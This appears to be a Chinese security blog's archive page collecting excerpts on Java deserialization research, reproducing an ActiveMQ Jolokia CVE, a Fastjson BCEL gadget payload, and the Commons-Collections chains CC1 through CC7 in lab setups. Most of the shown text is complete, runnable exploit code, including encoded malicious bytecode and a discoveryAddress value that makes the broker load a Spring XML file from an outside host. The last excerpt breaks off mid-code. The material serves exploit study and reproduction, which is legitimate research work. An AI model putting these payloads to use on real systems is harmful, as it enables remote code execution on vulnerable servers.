javasec on kiiy's blog

Mon, 01 Jan 0001 00:00:00 +0000

ActiveMQ 多个CVE复现调试与分析#

调试准备#

idea支持远程调试docker容器，非常方便，vulhub中的vulhub/activemq/CVE-2026-34197/docker-compose.yml写好了5005远程调试端口，docker compose运行后，直接在idea中添加一个Remote JVM Debug，填上对应的host和port，同时下载好对应版本的源码，启动调试即可

环境自取 https://github.com/Catherines77/ActiveMQ-CVE-ENV

CVE-2026-34197#

ActiveMQ 默认开启 Jolokia，Jolokia 会把所有 MBean 的所有方法通过 HTTP 接口暴露出来，不需要任何额外配置。漏洞出在addNetworkConnector方法，该方法在目标 broker 不存在时，会自动创建一个新 broker，创建时会解析 brokerConfig 参数 → 调用 XBeanBrokerFactory → 加载 Spring XML

addNetworkConnector#

org.apache.activemq.broker.jmx.BrokerView#addNetworkConnector

该方法首先接收discoveryAddress参数，该参数的值就是static:(vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xml)

创建connector对象，初始化，然后判断connector是否为空，注册MBean并启动该connector

public String addNetworkConnector(String discoveryAddress) throws Exception {
        NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
        if (connector == null) {
            throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress);
        }
        brokerService.registerNetworkConnectorMBean(connector);
        connector.start();
        return connector.getName();
    }

跟进connector.start()方法→dostart()→handleStart()→SimpleDiscoveryAgent.start()

onServiceAdd#

关键函数调用onServiceAdd()

Mon, 01 Jan 0001 00:00:00 +0000

Java-chains探索#

偶然在github上看到java-chains，感觉蛮不错的，但是就是对新手不太友好，特此记录一下自己的探索过程。

安装方式有两种，官方文档写得很清楚，这里不再赘述。

https://github.com/vulhub/java-chains

https://java-chains.vulhub.org/zh/docs/guide

java-chains支持很多利用链，具体可以去查看官方文档。

后面我会用一些常用链来演示java-chains的使用方法。

Fastjson#

这里只对java-chains里面存在的链子进行复现。复现的环境使用的是github上的一位师傅的环境

https://github.com/safe6Sec/ShiroAndFastJson

BCEL-tomcat-dbcp#

测试环境：

1.jdk8版本小于等于8u191

2.fastjson版本1.2.33 – 1.2.47

3.tomcat-dbcp <= 7.0.109

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>7.0.47</version>
</dependency>

payload选择Generate–>fastjsonPayload，然后选择bcel字节码加载

在下面还可以选择fastjson对应版本和对应依赖

将生成的payload进行json解析

package fastjsonGadget;

import com.alibaba.fastjson.JSON;

public class FastJsonExample {
    public static void main(String[] args) {
        String PoC = "{\n" +
                "    \"name\": {\n" +
                "        \"@type\": \"java.lang.Class\",\n" +
                "        \"val\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"\n" +
                "    },\n" +
                "    \"x1\": {\n" +
                "        \"name\": {\n" +
                "            \"@type\": \"java.lang.Class\",\n" +
                "            \"val\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "        },\n" +
                "        \"x2\": {\n" +
                "            \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
                "            \"x3\": {\n" +
                "                \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
                "                \"driverClassLoader\": {\n" +
                "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "                },\n" +
                "                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmR$dbR$TA$Q$3d$93$y$ec$sl$U$97$ab$e0$N$_$98$80$b0$40$W$88$82$60A$e9$83$Vo$b5$WT$f4i$b2$Z$c2b$b2$Tw$H$81w$7f$c2$_$e0$Z$a8$CKJ$3f$c0o$b2$d4$de$40$89$vx$99$9e$ee$d3$d3$7dN$f7$fc$fc$fd$ed$H$80$v$3ca$f0dX$b5y$83$7b$eb$c2$8e$d6$fdP$da$9e$dc$91J$d8$h$91$M$9e$c9$b0$ce$d5$8a$l$f9J$86$91$fd$9cBKR$d6$EoE$f2k$b3N$7er$86O$3a$c2q$b8$98$v$88$e9$7c$a5Rp$f8Z$c1q$9c$d9i$j$8c$a1s$83$7f$e2v$8d$HU$fbUyCxJG$92A$x$f3H0X$c53$d4U$a1$lT$e7$Y$92$91h$d0$e9$d5$x$M$ed$f3$7e$e0$ab$Fr$b3$b9$V$86$ae$b3$f4$a7$db$9eh$u_$G$3a$3aL$a4$90NCC$86A$97$d1x$c0$eb$c2$c0$e5$96$e6$eeN$a4D$5d$c7$V$86$8e$aaP$afC$d9$Q$a1$daa$Y$ce$9e$t$91$3b$l2$d1$85$ee4$y$f4$b4$96m$a2$3a$fa$a8$ac$92E$b9$r$c2$e5$a6$b4$ee$ec$85E$aeb$m$8d$7e$M$92$a2$z$3f0p$9d$c1$f0d$a0$b8$lD$M$83$ffsY$5e$e7$a1$x$3en$8a$c0$Ts$b9w$sn$e2V$fcv$88D$d2p$c6$c56$89$bcc$a2$N$ed$v$qp$8f$na$7b$G$ee$9b$d0O$o9J$b4$cb$7e$40$L60J$f0$Y$c1c$s$8c$T$d8f$e8$3f$ebF$D$f1D$U$zm$fa$b5$8a$IuL2$f4f$df_0$9a$95x$da$f94$7d$p$87$a1$zR$3cT$M$3d$zjOk$91$dc$Z$cc$c6$99$FR9$ef$d5Nw$a9y$bcFL$e6$d2D$826$a6$z$cb$K$N$y$e3$w$ee$7dx$c1$hoy$b9$s0D$a0F$bf5I$ddH$n$ddR$b1$ae$a65$9a6$B$W$ef$9d$ce$F$f2$3eSv$82$ac$3br$84KV$e7W$f4$k$e2$9au$e3$Q$b7$bf$a0$d3$ba$7b$80a$x$7b$80$91$5dd$ac$H$b13NN$fbw$f4$97$92$fb$YvK$da$3eF$dcR$db$3e$s$dc$e21$a6J$a3G$98$3e$c4$c3$d5$5dh$c5$3dj$a1$e1$r$de$c0$a4$db$o5$e9$83$f6$87$Y2$3dn$99$S$3a$cc_$mv$g1$7b$f4$8f$d1$40$93$P$88$cd$fc$B$s$8e$91$u$j$e1$f1$ea$5e3$86$bfi$c9$H3$8c$D$A$A\",\n" +
                "                \"$ref\": \"$.x1.x2.x3.connection\"\n" +
                "            }\n" +
                "        }\n" +
                "    }\n" +
                "}";
          JSON.parse(PoC);
    }
}

成功执行

Mon, 01 Jan 0001 00:00:00 +0000

java反序列化—-cc1(TransformedMap)链#

环境：jdk8u65; commons-collections3.2

    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2</version>
    </dependency>

payload：

package commonscollections3;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CC1TransformedMap {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
        };      

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innermap = new HashMap();
        innermap.put("value", "xxx");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
        //通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //这里需要设置Accessible为true，否则序列化失败
        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象
        Object instance = ctor.newInstance(Retention.class, outmap);

        // 序列化
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(instance);
        out.close();

        // 反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

Transformer数组#

这里new了一个transformer数组对象，数组内又分别new了4个不同的对象，我们一个个来看

Mon, 01 Jan 0001 00:00:00 +0000

java反序列化–cc1（LazyMap）#

环境：jdk8u65；commons-collections3.2

影响版本：< jdk8u71

    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2</version>
    </dependency>

payload

package commonscollections3;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

public class CC1LazyMap {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "xxx");
        Map outmap = LazyMap.decorate(innermap,transformerChain);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);

        ctor.setAccessible(true);
        
        InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
        Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
        Object instance = ctor.newInstance(Retention.class, mapProxy);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(instance);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

LazyMap链和TransformedMap链在前面都相同，只是在调用ChainTransformer.transform()这里出现了不同，最终都是通过AnnotationInvocationHandler.readObject()触发反序列化

Mon, 01 Jan 0001 00:00:00 +0000

java反序列化–cc2#

环境：jdk8u65；commons-collections4.0

影响版本：几乎覆盖了jdk1.8所有版本（在未启用jdk.serialFilter的情况下），我目前尝试了jdk8u401是可以执行的

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

cc2这条链很巧妙地把之前我们学习到的transformer数组和TemplatesImpl字节码加载串联了起来，它使用invokerTransformer.transform()去调用TemplatesImpl.newTransformer()，之后直接使用TransformingComparator.compare()方法调用invokerTransformer.transform()。TransformingComparator.compare()之前的链条和cc4相同，TemplatesImpl.newTransformer()之后的链条和cc3相同，因此我们主要来看TransformingComparator.compare()–>invokerTransformer.transform()–>TemplatesImpl.newTransformer()这三者的关系。

https://kiiy.cc/web/javasec/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96-cc4.html

https://kiiy.cc/web/javasec/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96-%e8%b7%8c%e5%ae%95%e8%b5%b7%e4%bc%8f%e7%9a%84cc3.html

demo

package testCode;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public static void main(String[] args) throws Exception{
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABZDYWxjVGVtcGxhdGVzSW1wbC5qYXZhDAAOAA8HABwMAB0AHgEACGNhbGMuZXhlDAAfACABACRCeXRlc0NvZGVHZW5lcmF0b3IvQ2FsY1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABAABAARAA0AEgALAAAABAABABAAAQARAAAAAgAS");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("newTransformer", null, null);

        Comparator comparator = new TransformingComparator(transformer);
        comparator.compare(obj, obj);
    }
}

TransformingComparator.compare()#

demo中new了一个TransformingComparator对象，并且将invokertransformer对象传入了构造函数中，同时调用compare方法，compare方法中的obj对象是TemplatesImpl对象

Mon, 01 Jan 0001 00:00:00 +0000

java反序列化–cc4#

环境：jdk8u65；commons-collections4.0

影响版本：几乎覆盖了jdk1.8所有版本（在未启用jdk.serialFilter的情况下），我目前尝试了jdk8u401是可以执行的

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

commons-collections库有两个版本，一个3.x，一个4.x。cc1，cc6等等这些在commons-collections3库中可以利用的链子，在commons-collections4也可以用，修改一下函数就行。同时，commons-collections4.0出现了两条新的利用链，cc2和cc4，两者其实差不多，但无法在commons-collections3中使用。

cc4可以通过transformer数组触发命令执行也可以通过字节码加载的方式触发代码执行。先介绍transformer数组这条链。

cc4(transformer)#

payload

package commonscollections4;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;


public class CC4 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Comparator comparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        setFieldValue(transformerChain, "iTransformers", transformers);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(queue);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

cc4(transformer)这条链从ChainedTransformer.transform()往后不再赘述，cc1和cc6中都有提到，这里主要研究之前的链子。

Mon, 01 Jan 0001 00:00:00 +0000

java反序列化–cc5#

环境：jdk8u65；commons-collections3.2

影响版本：几乎覆盖了jdk1.8所有版本（在未启用jdk.serialFilter的情况下），我目前尝试了jdk8u401是可以执行的

<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.2</version>
</dependency>

payload

package commonscollections3;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer Transformerchain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,Transformerchain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(poc);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

cc5和cc6类似，cc6中的TiedMapEntry.getValue()原本是由TiedMapEntry.hashCode()调用的，cc5改为使用TiedMapEntry.toString()，后续直接由BadAttributeValueExpException.readObject()调用。

Mon, 01 Jan 0001 00:00:00 +0000

java反序列化–cc6#

环境：jdk8u65；commons-collections3.2

影响版本：几乎覆盖了jdk1.8所有版本（在未启用jdk.serialFilter的情况下），我目前尝试了jdk8u401是可以执行的

    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2</version>
    </dependency>

payload

package commonscollections3;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer fakeTransformerransformer = new ChainedTransformer(new Transformer[]{});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, fakeTransformerransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");
        //ysoserial中使用的是HashSet
//        HashSet hashSet = new HashSet(1);
//        hashSet.add(tiedMapEntry);
        //P师傅使用的是HashMap
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "valuevalue");

        lazyMap.remove("keykey");  //如果不加这个就无法弹出计算器

        //通过反射覆盖原本的iTransformers，防止序列化时在本地执行命令
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(fakeTransformerransformer, transformers);

        // 序列化
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(expMap);
        out.close();

        // 反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

cc6链和cc1LazyMap链类似，cc1LazyMap链是使用AnnotationInvocationHandler.invoke()方法来调用LazyMap.get()方法的，但在jdk8u71以后AnnotationInvocationHandler.readObject 的逻辑变化了，所以我们需要寻找新的在jdk高版本中可以利用的链。cc6使用的是TiedMapEntry。

Mon, 01 Jan 0001 00:00:00 +0000

java反序列化–cc7#

环境：jdk8u65；commons-collections3.2

影响版本：几乎覆盖了jdk1.8所有版本（在未启用jdk.serialFilter的情况下），我目前尝试了jdk8u401是可以执行的

<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.2</version>
</dependency>

payload

package commonscollections3;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {

    public static void main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {
        Transformer[] fakeTransformerransformer = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformerransformer);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, "test");
        hashtable.put(lazyMap2, "test");

        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);

        lazyMap2.remove("yy");

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(hashtable);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

cc7和cc1(LazyMap)链相似，cc1(LazyMap)使用AnnotationInvocationHandler.invoke()调用LazyMap.get()，而cc7使用AbstractMap.equals()调用LazyMap.get()

Mon, 01 Jan 0001 00:00:00 +0000

java反序列化–跌宕起伏的cc3#

环境：jdk8u65；commons-collections3.2

影响版本：原本的cc3是通过cc1两条链也就是AnnotationInvocationHandler.readObject方法触发的，但jdk8u71修改了AnnotationInvocationHandler.readObject方法逻辑，导致cc1无法利用。可以使用cc6、cc5、cc7三条不会被jdk版本影响的链子，本文使用cc6去改造cc3，改造后的cc3就没有版本限制了。

说明：斜体字体都是P神写的《java安全漫谈》copy来的

payload

package commonscollections3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6plusCC3 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABVDYWxjVGVtcGxhdGVJbXBsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEAI0J5dGVzQ29kZUdlbmVyYXRvci9DYWxjVGVtcGxhdGVJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAQAAQAEQANABIACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(chainedTransformer, "iMethodName", "newTransformer");

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(expMap);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

cc3和之前的链有所不同，之前的利用链最终都是利用恶意transformer来构造Runtime.getRuntime().exec()执行命令，cc3是利用TemplateImpl类中的内部类TransletClassLoader加载字节码

Mon, 01 Jan 0001 00:00:00 +0000

java反序列化CC5奇怪现象记录#

CC5可以看作是CC6的衍生，主要是TiedMapEntry.getValue()方法调用上，CC5存在独特的一条链

首先贴出payload

package commonscollections3;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
    public static Object generatePayload() throws Exception {
